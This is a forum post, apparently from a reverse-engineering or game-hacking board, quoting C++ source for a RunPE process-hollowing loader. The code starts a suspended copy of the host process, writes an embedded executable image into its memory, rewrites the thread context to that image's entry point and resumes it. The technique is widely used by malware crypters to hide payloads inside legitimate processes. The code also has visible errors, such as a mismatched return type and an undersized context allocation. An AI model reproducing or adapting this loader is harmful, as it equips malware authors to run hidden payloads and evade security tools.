help for create loader with packed program

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Originally Posted by cdrom0

#include <iostream> // Standard C++ library for console I/O
#include <string> // Standard C++ Library for string manip

#include <Windows.h> // WinAPI Header
#include <TlHelp32.h> //WinAPI Process API


// use this if you want to read the executable from disk
HANDLE MapFileToMemory(LPCSTR filename)
{
std::streampos size;
std::fstream file(filename, std::ios::in | std::ios::binary | std::ios::ate);
if (file.is_open())
{
size = file.tellg();

char* Memblock = new char[size]();

file.seekg(0, std::ios::beg);
file.read(Memblock, size);
file.close();

return Memblock;
}
return 0;
}

int RunPortableExecutable(void* Image)
{
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
IMAGE_SECTION_HEADER* SectionHeader;

PROCESS_INFORMATION PI;
STARTUPINFOA SI;

CONTEXT* CTX;

DWORD* ImageBase; //Base address of the image
void* pImageBase; // Pointer to the image base

int count;
char CurrentFilePath[1024];

DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize

GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
{
ZeroMemory(&PI, sizeof(PI)); // Null the memory
ZeroMemory(&SI, sizeof(SI)); // Null the memory

if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
//process in suspended state, for the new image.
{
// Allocate memory for the context.
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
{
// Read instructions
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);

pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

// Write the image to the process
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);

for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));

WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

// Move address of entry point to the eax register
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
ResumeThread(PI.hThread); //´Start the process/call main()

return 0; // Operation was successful.
}
}
}
}

// enter valid bytes of a program here.
unsigned char rawData[37376] = {
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};

int main()
{
RunPortableExecutable(rawData); // run executable from the array
getchar();
}

But this is a basic example of a RunPe/Process Hollowing related to PE injecton not for the purpose of patch bytes at runtime